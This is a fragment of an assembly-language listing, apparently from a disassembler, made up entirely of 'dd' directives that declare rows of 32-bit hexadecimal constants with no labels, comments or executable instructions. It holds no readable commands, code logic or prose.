		dd 407E169h, 0D43C20Fh,	8CFEE1D5h, 0E95A6738h, 5D3B848Fh
		dd 0F4E52CD9h, 4E041E68h, 0BE57ED68h, 46854374h, 905B688Bh
		dd 0B608B4EBh, 52E94E0Bh, 0D0777294h, 9510305Ah, 0FEB80276h
		dd 0D00C7A51h, 0F30BFA48h, 0A0B1C151h, 2A67E03Bh, 0C0B1EB58h
		dd 48B35366h, 80CB02FEh, 0EBC073E3h, 3F32827Dh,	9494769Eh
		dd 24A3DD9h, 2836972Eh,	98091D60h, 685D2C8Ah, 506BB23Bh
		dd 593C15Eh, 2997EADBh,	172DC1C6h, 2F680065h, 75999F55h
		dd 5F479602h, 495D0602h, 0FD50C187h, 847EDE1h, 0DC2C69FFh
		dd 0A350E4C1h, 3AE9C4A7h, 6D211FC9h, 0AC5AF52Ch, 4E9E1EDh
		dd 0AC8F523Ah, 1007C5Ah, 0CE8173DDh, 0E5331F6Bh, 7095C6D8h
		dd 16805AE0h, 7970D875h, 9C3FD39Ch, 0E7C3C0C7h,	0C1DFF670h
		dd 0E02AE8F7h, 884852FBh, 675110DEh, 0B556F25Bh, 8C418D06h
		dd 4A72AACDh, 8E6F57C0h, 0B44AE905h, 58123BA6h,	0C573740Fh
		dd 0F98AEBB1h, 0DABEE909h, 99813AE4h, 69DE4268h, 0FDC902D7h
		dd 784D7712h, 4290E909h, 0B260D508h, 0D2D757Ch,	2DA7DA7Bh
		dd 1DFEFCE7h, 7F1DDCC2h, 98E9DCB0h, 6893D553h, 53A7D3D0h
		dd 99380851h, 18288228h, 8327E831h, 0A7C118A8h,	81608601h
		dd 0E5469564h, 26E79F3Ch, 0E2FAE904h, 1F1B390h,	0D12F00A5h
		dd 6C5235E0h, 0CCEB5AD8h, 0B305F2F6h, 158C331h,	0D75D7F09h
		dd 8F782714h, 0FD545A81h, 6F699DAAh, 0A8D7F8E3h, 22EAB527h
		dd 0D0270CC6h, 0B008C246h, 0E9500D19h, 6B685CCEh, 806B9099h
		dd 2AF9276Bh, 8A10015Ah, 24F24F08h, 523109D7h, 0A7FF95FDh
		dd 54E2C15Ch, 1B947D5Bh, 7E98D88h, 0D12478B6h, 0EE49E841h
		dd 9A2DD7EEh, 0A90A053Ah, 7295B23h, 202BDC83h, 3B247767h
		dd 7E093008h, 0F6046E9Eh, 97429A3Ch, 0C94A8C79h, 5ED14225h
		dd 3E21ED49h, 40B1EACCh, 1FFCBF1Dh, 810A9800h, 0D5659CF7h
		dd 19E92517h, 0BF404162h, 98CF86h, 55B87C5Fh, 0E8D04F7Ah
		dd 0DBD82D1Eh, 80E21315h, 5197BA54h, 1696209h, 0F14B46D3h
		dd 10409C78h, 0A1E9165Dh, 3DEB90AFh, 39000E66h,	941A3105h
		dd 0B2D487Eh, 0B7A2806Ch, 0EA75115Ah, 0DAC80138h, 14AB5913h
		dd 0FA04E3E3h, 0AE3FAF40h, 462A2819h, 0A05258F0h, 272E7FF7h
		dd 4B633BA0h, 7A0818F5h, 0E1051A2Ah, 32BE962h, 0AAF652h
		dd 1B68527Ch, 574A5845h, 0CCE431ACh, 0A841829Bh, 13C4AB20h
		dd 0B1F1B3F7h, 32B67BF6h, 28E0DB18h, 6370B753h,	9C29FA5Fh
		dd 68DC0BC3h, 8FDA4435h, 55EE7241h, 7CDDE40h, 0A0F3EE9Fh
		dd 2F06E327h, 6AFE7E0Eh, 43127A26h, 37654600h, 5CD13305h
		dd 205EFEFh, 0A4A453E9h, 401E5FE4h, 0F9CB2D21h,	0A7967F07h
		dd 0CBBA4CBh, 61211E1Fh, 2268B9D8h, 2E323A58h, 209AFA40h
		dd 0C395590Dh, 0D734AA2Ah, 5DE90CB0h, 732D879Ch, 8173ECEh
		dd 8463D075h, 8914B5A1h, 0B096D901h, 9D6F8A68h,	0BF04DAE6h
		dd 41F65F6Dh, 277B0E0h,	800F29FBh, 4704F9FAh, 0D40531C2h
		dd 213164F3h, 3C6758B2h, 0D348D611h, 7F577462h,	4A608EC0h
		dd 893E341Fh, 0BC72E985h, 289820EAh, 28DF66F3h,	0DD6AB94Ch
		dd 0B75AB5C2h, 0A8E703F6h, 438B551h, 2FF03E46h,	42DC8461h
		dd 0D8C5C80h, 2F7E7C0Bh, 9FF3DDABh, 6071E62Dh, 0F330C550h
		dd 0C33D805Ah, 0EBFEAF01h, 38B7A0F8h, 5639673Bh, 132ED21Fh
		dd 6883A25Ch, 0C110C849h, 7402DD8h, 5586E955h, 60438EE1h
		dd 79EBC9B3h, 49A08D74h, 0E8D046Ch, 90BDD785h, 359FBF72h
		dd 0BA125500h, 7D704BC2h, 0CCFA4F29h, 8CA04A96h, 912D1B55h
		dd 25C9C430h, 0EB4984E9h, 81B52BC3h, 13142920h,	1622DF1Ch
		dd 87F1131h, 0CA6F64Fh,	43BD5EE9h, 0F3FAB5EAh, 47BE0CD6h
		dd 398758FFh, 0C097CF66h, 25E9F39Bh, 0A3FE0E54h, 91394C2h
		dd 57976040h, 758B0ABBh, 209CC645h, 0B095A9E6h,	825E06B3h
		dd 50286240h, 81034700h, 1C768AE3h, 7E84ED3Dh, 0E1206A07h
		dd 868001CBh, 2163711Ah, 2EF1FD31h, 2FD36941h, 0E16F3B11h
		dd 0F4422AD1h, 6A868Bh,	0AC424F2Dh, 8918687Bh, 8A16B92Ah
		dd 2BD2FEAh, 51925079h,	1329E508h, 0D562AB5Eh, 9340A01h
		dd 17DE571Ch, 1755ECE9h, 9D0D9DE9h, 0F10F454Dh,	104E28CFh
		dd 746159h, 0DBF6ECB3h,	0D119860Fh, 0E723D582h,	8871887h
		dd 9AEB5B65h, 0C33C2A00h, 0BCAF6145h, 0FA2DC473h, 0BA45980Bh
		dd 98C8B9FFh, 1CAC3057h, 0F09E78E6h, 6FE78100h,	0ED3B0A51h
		dd 906AFE4h, 0DFF7215Fh, 79813EDEh, 116A909h, 600A1F2Ah
		dd 5D354805h, 0B481324Ah, 0C804F046h, 735FC00Ch, 0F6CAB41h
		dd 7DEC1B92h, 5456801Fh, 31BE7BEEh, 4402BA09h, 79740EB8h
		dd 84533A29h, 53081DC0h, 0B8AAC0BFh, 4A580677h,	0C8FC1272h
		dd 0E6C99AA4h, 0F7A0BE2h, 33D0148Eh, 2A7EF2B5h,	4FD51CF1h
		dd 0A239169Ch, 5FE29263h, 0C25355C4h, 46F501C2h, 4FA4F13Dh
		dd 3017BC57h, 20CB9076h, 321F2BF2h, 6E53FE31h, 99689780h
		dd 0CF189515h, 0FD8255E6h, 178A7E48h, 8B382F10h, 0B92FFC5Bh
		dd 0C26D83Ah, 7E691494h, 55B142B5h, 0C5CA99FFh,	0C25E497Ah
		dd 0B0BDBA7Eh, 6C88D5C8h, 59012587h, 78429DDEh,	7BDA55D7h
		dd 0FE5F2FF0h, 86CA584Dh, 81255BE9h, 1EE1B1EBh,	1EC3AC54h
		dd 0F59B5060h, 0A5FB1F78h, 0D7F16FFFh, 0AB02CA68h, 611F0713h
		dd 0D8EA786h, 5F526FE9h, 0D4EE0EA9h, 0E4C2C925h, 6204BC9Bh
		dd 3FE95FB1h, 9668D3D0h, 73D0006Dh, 12F2815Ah, 5E4C807Fh
		dd 5CBB1314h, 8119C27h,	0E07A59CEh, 5E81C514h, 1D69F940h
		dd 8B20E72Ch, 8501746h,	994A0105h, 45127444h, 4C42B9A4h
		dd 3CABF5E6h, 54655759h, 63A11FACh, 51C9246Ch, 0A41D305Dh
		dd 4D991347h, 0AF08FF4Fh
		dd 6A483D07h, 0B561A40h, 5F57C388h, 0A4F7A089h,	0E6F55920h
		dd 4D9BD82Fh, 0CC84DB41h, 0EB035E12h, 53ABAFC0h, 0C261489Ah
		dd 973D4904h, 0B5C5AED0h, 0FDEF20C2h, 58707740h, 57014CB0h
		dd 682FF86Bh, 312B7DB6h, 0B0F430h, 0B45BD830h, 0A0B2506Ah
		dd 0A3AAE92Ch, 8FB5F94h, 7D18C8h, 0CE0B45E3h, 0BD20E96Eh
		dd 45874CFAh, 4D80C702h, 40557BFEh, 83B51136h, 8884DBCFh
		dd 7BDBA1B7h, 0B24A49A6h, 78F997F9h, 12B27084h,	889EE5ACh
		dd 3500136Bh, 28E561FEh, 10960F25h, 2A4F7FD4h, 2D34CD00h
		dd 63012009h, 58C589A2h, 0A930EB31h, 77C13EEh, 0A0E7B0B6h
		dd 602D6205h, 6C9547E9h, 257B69E3h, 0DC7268E5h,	0F0EF95Ah
		dd 0ED80E5B5h, 50CECC0Bh, 0F6545EF9h, 95525068h, 609A7200h
		dd 37DD05BBh, 0B5B79087h, 0CD1C2D68h, 57ED5381h, 0B34B1628h
		dd 17DA108Dh, 3AEB8BE1h, 42D3AC0Bh, 0DE30FDB2h,	0D782F239h
		dd 94EF9EBBh, 0F256AAE7h, 0BDDC2CFFh, 5714FC94h, 2776078Dh
		dd 0D5FB022Bh, 0AC0C0884h, 0D1880FDDh, 0A0BE095Ah, 0EA835BEEh
		dd 946E9C02h, 44162866h, 739FA753h, 0F902C32Fh,	98D3676Ah
		dd 4239289Ah, 2EEC55B2h, 8B121C5Bh, 5C1C38AEh, 0AE925h
		dd 3BEBB985h, 0D3555039h, 0D0531222h, 0E19F0109h, 2F084A17h
		dd 970BDDF4h, 0EF8EFDA7h, 69B85F70h, 5AC3E65Eh,	3D0A8440h
		dd 5F0172F0h, 40A0B374h, 104FE90Ch, 0D668D905h,	5A71A001h
		dd 6330DAF7h, 0EF6B4C29h, 546A409Fh, 0D8FEE977h, 0E5CFF3CBh
		dd 20A396F3h, 3570C161h, 528F2500h, 0BCD39ABAh,	4EC7B0ECh
		dd 0BBE0845Ah, 0B73529C0h, 5CF7488Bh, 0AAC7B312h, 41E7E93Ch
		dd 0D5A63EE1h, 0D9EF2F7Ch, 0B093965h, 0A63ADFFAh, 0E553AF5Dh
		dd 3EE3D1A8h, 154AF65Fh, 62B501E9h, 58C800Ch, 1FEFC8D2h
		dd 913E7241h, 0C81AB0h,	2E3F6EBFh, 0E874EE2h, 584B3693h
		dd 1E107FAAh, 47068969h, 49538281h, 4162DE11h, 0B6588876h
		dd 855C80EFh, 0F276C862h, 0C2830251h, 0F739624Ch, 156894F9h
		dd 7EC810C0h, 10B05B24h, 84D50D5h, 16936000h, 2579E681h
		dd 0ECC1F2B4h, 4E07C107h, 442D687h, 0C040985h, 43C50801h
		dd 0E9137CF9h, 3E51A177h, 0E98311F3h, 210E8066h, 0E31609EEh
		dd 0EAF20139h, 600C4AC4h, 801B5C38h, 6909E281h,	82256558h
		dd 74FC9CBCh, 38B55015h, 501B201h, 0FEAE038Bh, 181DA47Eh
		dd 8A71F5Eh, 4029EF40h,	0ED09D077h, 0A2728A0Fh,	0C1C5FE65h
		dd 0CB7E81EDh, 1E4A7D90h, 83B4FDC2h, 70BD9FCh, 0A33F5A7h
		dd 0DDF7F3C3h, 2F1399E9h, 1488C5A2h, 4CD41E95h,	15330147h
		dd 0EBC13EDAh, 1B33F03Bh, 405A1C02h, 750F1DE9h,	0ED68AD98h
		dd 0D4954570h, 0E7577204h, 0B2341238h, 0C3ABA5CEh, 0C604C97Ah
		dd 777EE93Ch, 56CCA1FDh, 23A00224h, 7B24E9CEh, 0D953C7F0h
		dd 0A810AC0h, 0AC36E32Dh, 7163EADh, 72FD3875h, 7C8B1A80h
		dd 45B5CA29h, 0FA018DEFh, 251406EAh, 1E3A998h, 903DF030h
		dd 9B989186h, 0F29D0690h, 27929089h, 5456AB6Bh,	5056266Fh
		dd 0D0C69D12h, 0C4C65BBFh, 28DEE08Ah, 0F19DC7B0h, 102526D1h
		dd 605D2971h, 3249561Fh, 0CFC8A2AAh, 8C4865E1h,	0F587B230h
		dd 0A0B73DEEh, 6DA9BFF3h, 316E2742h, 791E350h, 3600FD69h
		dd 2174519h, 0DB448AB7h, 0B4020512h, 0D5A362FCh, 73E52540h
		dd 9462CE65h, 0ED020FADh, 645450EAh, 51C6D860h,	29371909h
		dd 0B50504E8h, 7A0FCDAAh, 4FBB2BC8h, 0E98A7C4Fh, 1021B22Dh
		dd 2CB70F17h, 2C8B68C8h, 29F46B93h, 0BD096258h,	0E75AAB6Eh
		dd 0D37DF1B4h, 2009047Dh, 0F3171CEDh, 8D2C56EDh, 1C6805A4h
		dd 610BD828h, 0BCBA39C0h, 0B748A31Dh, 5C2D6682h, 80EBBD05h
		dd 53552799h, 0C05B5D25h, 9057DDDEh, 9F18641Dh,	543AE0ACh
		dd 6188F39Fh, 2C7A36E9h, 0C343C467h, 0DA34E212h, 0AB3ED744h
		dd 4CFDE92Ch, 902D4880h, 0F61AD065h, 0E18B6E3h,	32A79FBEh
		dd 8A5FA22Ah, 3DE199DDh, 579BAF14h, 3CC75C24h, 616E1B01h
		dd 6BD20EE9h, 85EAB54Bh, 991763A3h, 0EB811620h,	186D06F8h
		dd 6F0B8B5Fh, 0D2AC5B4Fh, 512793B9h, 0D13B918Dh, 6F59CB96h
		dd 344E66F7h, 0A3D9AF32h, 0FBBA0CB9h, 0FD5FA8D2h, 5601B236h
		dd 0EA400850h, 0BD098726h, 926349B3h, 0A1D40BC6h, 0AB70542h
		dd 66F640ACh, 0B768F06h, 1453CE06h, 1703ACDh, 7AC4596Fh
		dd 205EF529h, 0E916EF6Fh, 0CEF6CEB5h, 8057F54Eh, 9F3927FEh
		dd 6BF38165h, 83680D23h, 681702C7h, 68FA1FD8h, 0E480C4CDh
		dd 0C4F99D1Eh, 83BE5F94h, 0D12710C9h, 67DD0F72h, 493B9438h
		dd 40308996h, 19C4C6CAh, 0BD245556h, 2A169E41h,	624F80F8h
		dd 35787A41h, 0A69A584Eh, 0DC42B24Ch, 8958C701h, 0F0525FF9h
		dd 0DC95501Bh, 4D94E202h, 801EE344h, 0BF92A9EBh, 7F559749h
		dd 9BF13782h, 9EB4D357h, 501737EDh, 22920E26h, 0B6EE2937h
		dd 0C3603D33h, 10E81679h, 0F07DBE9Ch, 0D866443Eh, 880F0256h
		dd 976470F2h, 8B8B0EC7h, 27D3E8F3h, 9FA77C1Eh, 0D9B783C4h
		dd 1DCC245h, 3D09B071h,	59C376DDh, 0F1E47B5Eh, 0AD3CE516h
		dd 0A5F55CCAh, 0C407CCD8h, 8E2C5B66h, 68D0100Dh, 0E3095AE6h
		dd 0FE901661h, 503248ACh, 0DFB05B26h, 0EAFC62B2h, 8CE9010Ah
		dd 0FCADF08Fh, 535209AAh, 990EAFDBh, 9A04521Fh,	5901C52Eh
		dd 6C385F88h, 105BC968h, 0B5788506h, 9EC13B12h,	4B432902h
		dd 0CBB9ECF4h, 7A005913h, 5E1D14D6h, 0AE820DB6h, 570DF14Dh
		dd 0CDF0E140h, 0C0F20F82h, 0F394370Fh, 77A6072Dh, 170530EDh
		dd 2970717Fh, 78FF2F8h,	5F261194h, 40B50075h, 68E95EF4h
		dd 8C923FFDh, 55BD21Ah,	185508C5h, 5850FE04h, 0AF595008h
		dd 61E87C82h, 0CC7CC680h, 501370CEh, 0CBB8F3B4h, 0BADCF61Fh
		dd 655883B8h, 4DF8AA7Ch, 96892DF4h, 686105F1h, 0F72B28F5h
		dd 739F40A9h, 777DBA80h, 0C1450B65h, 0CF0008EAh, 790F0196h
		dd 4CE8E916h, 4BDCA144h, 10FD42A4h, 0B785A70h, 0A0C38306h
		dd 1E9642E9h, 710297FEh, 965654E9h, 0C24AF427h,	14FFE11Bh
		dd 0A9863077h, 6068C117h, 0A858A26h, 2C69A525h,	0B701C4B2h
		dd 1387E6Eh, 81204F9h, 0F21095A6h, 0DD0B5B94h, 34F5A7Fh
		dd 3578EFEEh, 0C5E15F49h, 2A19BB53h, 3F093201h,	5D617D60h
		dd 4C6B9180h, 53324172h, 9A1AC52h, 0CEFE330Bh, 9B10E42Ch
		dd 0C829660Eh, 7762D69h, 54537413h, 307EB9CAh, 45DF6560h
		dd 2F7A074Bh, 0F39F1CF2h, 3C153D48h, 0A94ED6DCh, 21ED4EFAh
		dd 0F17159CBh, 49E1F1AFh, 20092050h, 5562A6Ah, 0EB09EBB4h
		dd 6FC17C0Eh, 0BFC0A104h, 5D18434Bh, 1F947B8Bh,	270A4F58h
		dd 0D796426Fh, 0B79E9147h, 8F1DBE5h, 6885F666h,	0FD444932h
		dd 3ACBBE4h, 0F109E1D2h, 4A7E7247h, 299506FAh, 75FE1AD8h
		dd 4A91A983h, 0BE32653Bh, 4CE483C4h, 0E66904A1h, 0EC740149h
		dd 5B0CD0E8h, 68A0C7FCh, 1ABF32E9h, 828273FCh, 66636B68h
		dd 20E33280h, 3A9F2A95h, 0E90C011Ah, 0B18866FAh, 60247E1Ch
		dd 7C70BD0Ah, 69646861h, 3258293Eh, 0DB131032h,	7492815Fh
		dd 0CE6800C4h, 0A2F9B53Fh, 0F76CBA89h, 2CE99002h, 2D055550h
		dd 0E626D1B5h, 41BB96F0h, 0D9B27B50h, 29A8B9Fh,	69A98090h
		dd 40763600h, 59142D48h, 8320FFDFh, 8081C389h, 62DC8C3h
		dd 0EB61D216h, 0AD89F6ACh, 847A34D6h, 71FEAD6Ch, 3EFD01A0h
		dd 831DD0CBh, 3D47AFEDh, 0A882D1A7h, 1B8F3811h,	0D532BF4Ah
		dd 136BDC37h, 0FCCB16C0h
		dd 6992DFD4h, 0E1E44CEAh, 0E658ED2Ch, 439D80FDh, 0BD5D1DF2h
		dd 92F5BA9Ah, 49A963FCh, 384AF68h, 84D9B254h, 0BB0093CBh
		dd 3D5A0646h, 40E3A3A1h, 480A683Dh, 0A1023E93h,	83615737h
		dd 90D0F7BFh, 16A60DD8h, 195ADF45h, 2E585F43h, 59C25EF3h
		dd 9F594068h, 6392E984h, 0C2A27BE8h, 2939C4DAh,	0DA5DBAEFh
		dd 0C6E60AF1h, 68020C5Ah, 1B35694Eh, 479D044Fh,	446A8208h
		dd 1C0EC94Eh, 0C7382067h, 0CDF29FF1h, 59344112h, 7B49A77Bh
		dd 0A74DDF25h, 0D7838744h, 0E6AB8416h, 0AD9C1273h, 5DF5BE91h
		dd 502DDC2Fh, 58C50806h, 2606ED80h, 13410EC3h, 0C59A94A5h
		dd 0D695EFCFh, 40B038AEh, 5B131005h, 6DD4D1F7h,	0E92057AFh
		dd 4CE53BB2h, 3F165A2Fh, 0A428F4F4h, 0A2C701B0h, 12F222Eh
		dd 1A95E3EFh, 62F50D08h, 0EFCC5F70h, 5C59209Ch,	54A3093Eh
		dd 0FC4BBF7Ch, 5F5B10ADh, 809AD3C6h, 6BD554Fh, 7A4E5095h
		dd 0BE811E29h, 2162D042h, 5BE5602h, 5F2B3A1Eh, 66F654C2h
		dd 74C46804h, 882FE905h, 867BE5D4h, 0FF125F2Ch,	0EA4ED002h
		dd 6CF9C022h, 449F3B03h, 508F302h, 0EF7C2924h, 2D39032Fh
		dd 402FF987h, 0A205DE30h, 6449F907h, 8441BCB9h,	0B618A1E7h
		dd 571D3BEFh, 0CF82095Eh, 0E0D47579h, 81AFDD4Eh, 0EB1C45BAh
		dd 9D96AC1Eh, 6B7431BEh, 93493CC4h, 255ABB08h, 4A583106h
		dd 2D29D340h, 65565EF2h, 0F19E77C9h, 0E9840E9Bh, 5EA96436h
		dd 0D256C704h, 3F63FC23h, 90B4F646h, 0AC685C03h, 7A35173Ah
		dd 0B9852CD3h, 98587C40h, 17FE912Dh, 5C07B007h,	19FB8095h
		dd 4803E31Eh, 0E7022CD1h, 35F30DADh, 163BE5F4h,	0FCE801F1h
		dd 8B1A845Eh, 72E90910h, 0CBA21063h, 1E8F82F7h,	331656BEh
		dd 1AC95044h, 0F2AD81E0h, 1412790Fh, 7702EAD8h,	0A83A4E67h
		dd 0C5057F0Ah, 57117255h, 5A68CEBAh, 0C01096A6h, 0E7680B49h
		dd 0E9D3F938h, 247B4675h, 970E6FC5h, 6353FA21h,	38A4804h
		dd 1278DFFh, 4E333EDh, 0C9A61981h, 0C65ADC7Ah, 5AB79AE2h
		dd 64848065h, 3B5A81B5h, 0BD1DC965h, 28AF4A58h,	53C3C429h
		dd 0B1B90091h, 9E354D57h, 94552545h, 253CBC84h,	2A424AD3h
		dd 2220A46h, 77885BCAh,	89CEDB41h, 57CF290Dh, 2525AB66h
		dd 53BE547Dh, 57497E2h,	0C046B70Fh, 0D7867EC7h,	8DA6FF6h
		dd 0EB8ECF25h, 0E12C4CC2h, 0BF0493B5h, 0DDF47667h, 5F370B16h
		dd 946A31F4h, 146432h, 1D7F74BDh, 814D1C00h, 0A6642ECDh
		dd 4C8F9838h, 0A7021907h, 213E4730h, 2E810D61h,	1EE56F87h
		dd 0D5192EEh, 0EB81105Dh, 0D9C3E0D0h, 31CB0CA1h, 0B5E9DCE9h
		dd 0F395D767h, 1EACA975h, 4621BE00h, 0CE816BA7h, 2E7B370Bh
		dd 5F2B0023h, 2AA58B3Ch, 12F2F531h, 0A8DB54E9h,	9E708401h
		dd 17AEF6AEh, 0D844AE19h, 80037256h, 7FEAC5C4h,	5F63D0D0h
		dd 1EE745B6h, 84206081h, 0A3F70134h, 4C9B402Ah,	400B5913h
		dd 0D001D085h, 3CFD3702h, 835D4E30h, 57D5B804h,	0BA00071Fh
		dd 89EC599Fh, 88F8E8C4h, 0E382AB12h, 56C25E5Bh,	629EE918h
		dd 82EAA5C9h, 52009B56h, 954AA0BAh, 6FC3FC75h, 0B1D32745h
		dd 47B92B0Eh, 0ABEE0F9Eh, 30B0C661h, 0A3826FF4h, 34870946h
		dd 564C32E0h, 0DE14A9C0h, 5193826h, 0C7C6BA03h,	54E833E9h
		dd 12C1EA81h, 0BB256BBEh, 2CE407BAh, 0E143D459h, 1F940D4h
		dd 88175D05h, 7CA18420h, 1E306C80h, 67E96EE7h, 0AD484892h
		dd 799F19FFh, 4C70D863h, 7F9ABDA3h, 82ED9A77h, 39D6A24h
		dd 3EBAD521h, 0C2AD52DCh, 98E3D0BCh, 0FC80970h,	0A2821D38h
		dd 0B0A56CE9h, 1307C288h, 5E27D254h, 15C4E2B7h,	0E0B12C18h
		dd 0B10474F8h, 0F10C697Bh, 0A2482290h, 262B82FDh, 0BC2D09Ch
		dd 1E3B7CA5h, 0AC1D8F70h, 89CBBF7Eh, 0F17660C8h, 382B2730h
		dd 64906740h, 0D68BDF96h, 96DFE70Ah, 0E239725Fh, 599F6550h
		dd 0E50580B6h, 168ED38h, 72DC828h, 818A595Bh, 7FEA9B10h
		dd 0CC79CA2Dh, 5A7BF4CFh, 0B571A81Ah, 0E96C04FFh, 0FF56D4A0h
		dd 880F1E80h, 0B0F19AD8h, 0CEA15FA5h, 0BC6800D4h, 5A1D6637h
		dd 0CD780BBEh, 0E142FEE1h, 831A71C1h, 7623220Ch, 0AC6C515Bh
		dd 820C0806h, 0FAB08914h, 0FCEA1C14h, 8117DD0Fh, 0F96DDCCAh
		dd 0CD7A6068h, 6C5C5309h, 32F7C09h, 25413401h, 0E933E4A5h
		dd 1B13294Bh, 0DD3ECBCh, 2A17EBE8h, 1841FEA1h, 64D741ABh
		dd 15EB103Ch, 204948EAh, 2D3998F7h, 69A3B560h, 0F3FA57E5h
		dd 4527A154h, 0ADE961C2h, 7C2FA7B7h, 2B5F025Ah,	54401883h
		dd 94BFE177h, 0F9659D11h, 1DBC688h, 508CB551h, 57C070B4h
		dd 0F3914F40h, 882A8960h, 0A4836E31h, 7DBBD0BBh, 347D158Eh
		dd 215F8DB0h, 0B800612Dh, 4F7E605Ch, 24E4B835h,	0AFBA029Fh
		dd 844A96Ch, 3012A785h,	0C5AA6952h, 0A798BFBDh,	75B9AA0Bh
		dd 3D20866Ch, 232D0392h, 48B9E7C5h, 24584FDAh, 0F95F3F90h
		dd 1A824E4h, 0F75D2A78h, 7F5A68DAh, 7D78E1E3h, 490A62Bh
		dd 0E55808BBh, 0E91BC15Ch, 0FDC46B18h, 0A530F3BAh, 0FA20DE1Eh
		dd 0E5D126D5h, 7E483A0Ah, 0E552E2F7h, 7993D6F9h, 0BAB8B053h
		dd 0BCFD07E4h, 814F7046h, 7E1736E7h, 1685174Eh,	49FA2B04h
		dd 0A4A4AC17h, 0E91B78EBh, 0D5A60825h, 0D5D14C1Bh, 7DF82EB0h
		dd 9B05D8Eh, 8E09CA80h,	0DD8A8C78h, 25BAEAF2h, 0E4E092A4h
		dd 0B1B70C87h, 58605FA7h, 3D6F1280h, 0F214016Eh, 8033A223h
		dd 236E30Ch, 66E2C15Ch,	18060604h, 0BE3B120Ch, 3DD0FC58h
		dd 0FCCAC3D3h, 0C7E90D2Ch, 67787ECCh, 3EEF3310h, 0CB66B855h
		dd 48ACDCCh, 0BE850FDCh, 0A042E8EEh, 6F896D0Ch,	140448C9h
		dd 68E90259h, 5B67E497h, 25ADFCEFh, 9E31D2BBh, 35E1F63h
		dd 5DDC2DE8h, 4CDD699Ah, 96EB4A8Fh, 0E0090CAAh,	8B2BFE29h
		dd 9A9C7F18h, 3D54B30Bh, 0B5B50465h, 0EAE420Ah,	676B491Eh
		dd 0EA6047D4h, 98273911h, 0C4C20472h, 0C88DA23Eh, 0AEB486C7h
		dd 7495C122h, 8D05260h,	38A76FA5h, 0A16856F0h, 1AA55E06h
		dd 579A8B77h, 76590A02h, 8824D04h, 0EF387EF8h, 16D49C66h
		dd 0AFE1883Bh, 0DF4622B4h, 80B0BB0h, 5827A97Dh,	126B5F3Fh
		dd 0AF085262h, 0E91376DEh, 0B6FD4325h, 0A9F380FCh, 73F2D3D1h
		dd 634A7883h, 128F0383h, 3D405894h, 0C0297ACBh,	0BC64D60Bh
		dd 16DD9880h, 82D84B5Bh, 30F28BA8h, 0FB9DEF70h,	15F41D9h
		dd 0BB996AD7h, 86E7942Ah, 92743E48h, 8E90D073h,	0E1B0085Ah
		dd 42E980C7h, 4C25019Ch, 0B703F812h, 94DDE009h,	0ACFA2527h
		dd 6EEF4B7Ch, 41C79A40h, 6B61010Fh, 0F230C8D0h,	862EF747h
		dd 0EF1E163Ch, 70EF6C7Ah, 45A20BA6h, 0CC2C3E9h,	32246C7Dh
		dd 0C0FFF1E5h, 1C1C61D7h, 178CD6Fh, 1BA4F56h, 0CD6A0A68h
		dd 0CD93F443h, 0FD00AB95h, 0F15D3924h, 47397BAAh, 2AFEF62Fh
		dd 868B8F5Fh, 6F29021Fh, 0E6CC226Fh, 0C5000BE8h, 64A21FF6h
		dd 97ACD095h, 824C7DE2h, 0B786E2Ch, 5E19B7Bh, 0A9190842h
		dd 2A90059h, 641B3548h,	166A425h, 0DD43E97Fh, 3F15DC51h
		dd 26A1306Ch, 2768005Ch, 6024B677h, 6B093E41h, 5F44E918h
		dd 5E305B24h, 89CBFEh, 12C5AF0h, 0ACD4A2E9h, 0BA39F933h
		dd 0FBB1E909h, 4DBF5B48h, 0F42BB724h, 0D037BD02h, 63C0C813h
		dd 5EAFB00Dh, 5C390BA6h, 69643032h, 0BECE4F20h,	55EF00E0h
		dd 31A68329h, 4A73FE48h, 96630FEh, 0E5BF1C47h, 0E907B0EDh
		dd 50D63E84h, 4FC94CF9h, 0D02EFA84h, 2EFC169h, 4A0AE912h
		dd 8B0B76F2h, 40D15BE8h
		dd 5692C82Fh, 2CEB09BEh, 0F4F42F46h, 0AAA21D0Ch, 87E92DF7h
		dd 0FD5A5C85h, 3B910599h, 0FF082C89h, 38B43A9Ah, 0A5E2BB99h
		dd 839BD79Fh, 2BB1AC52h, 59518A66h, 550815Bh, 5FE0386Ah
		dd 76AD683Dh, 538779F1h, 56BB1A4Fh, 0EB0B3CD5h,	0B9F6CCBBh
		dd 10BC5DEBh, 0CEA25C4Fh, 3D89528Bh, 0EDFC1762h, 0C4E9C158h
		dd 0BA0E7C6h, 376B52D2h, 0F8373DBDh, 72F16B4Fh,	0AEE0333h
		dd 685FCC48h, 0C9E39C84h, 0A3F2B95Bh, 1685E486h, 22C24560h
		dd 0B0AC5F96h, 97A89803h, 0E912DBFAh, 988B8D2Eh, 2104358h
		dd 0EFE94AF8h, 0C2C44B02h, 0A05589D9h, 0EC60FDDBh, 0BACA956Fh
		dd 0B85F0805h, 0F81F93ACh, 0BAF265B3h, 29927E3Ah, 0BB61092Eh
		dd 7C69A4D1h, 488EE9FEh, 7AB2B153h, 11176FCAh, 0C167F986h
		dd 924921BBh, 41C6CC41h, 5AAB8E3Ah, 4D13258Ah, 0B6BEE861h
		dd 0B3F2B776h, 0F9B7C1ECh, 0CBFCADBFh, 9328E985h, 41706198h
		dd 8C51206Ch, 9CB6D144h, 1C5C2FB1h, 5EDF045Ah, 1C8EBB12h
		dd 0A4090E2Ch, 3A042CA7h, 7ADA0141h, 0E156036Eh, 712ADA21h
		dd 2BC68120h, 2D08F053h, 515202C4h, 11E146B5h, 0FBB14887h
		dd 0AD4EEF71h, 685206F8h, 666CE05Fh, 0E43D6EC6h, 81D50189h
		dd 4DE664F5h, 7FEAF4C7h, 506E1C7h, 1284D5E4h, 0C80513B8h
		dd 0BF673F62h, 0EBB22DC5h, 3746518Bh, 0A18DDE20h, 27E030F7h
		dd 0B376973Ch, 9B205EC2h, 0D14001E9h, 0BF5D9064h, 0F60BA5D3h
		dd 0A82D00F3h, 1537E6Fh, 558DF850h, 5EBC1C0Bh, 6177C47h
		dd 1E0DC273h, 7CC5F4Eh,	4BE59C50h, 305819C1h, 35130363h
		dd 6B4A41BCh, 591708C5h, 1116D775h, 0D5B750ACh,	17CA9A4h
		dd 6D184DE3h, 7A604355h, 2B571765h, 1511460h, 12A82A01h
		dd 0A6B080E9h, 91121D4Dh, 8AEFA884h, 27224D39h,	8932E808h
		dd 0BA00833Bh, 25490FEEh, 90DE291Ah, 108820Ch, 0D4741B8Bh
		dd 0E0F76E20h, 3B633A4Dh, 0EF3FD7BCh, 3C8B3DBEh, 5A5E49E9h
		dd 0B4494525h, 3A57EBE6h, 0B41042E8h, 0BA5201D8h, 5652E2Dh
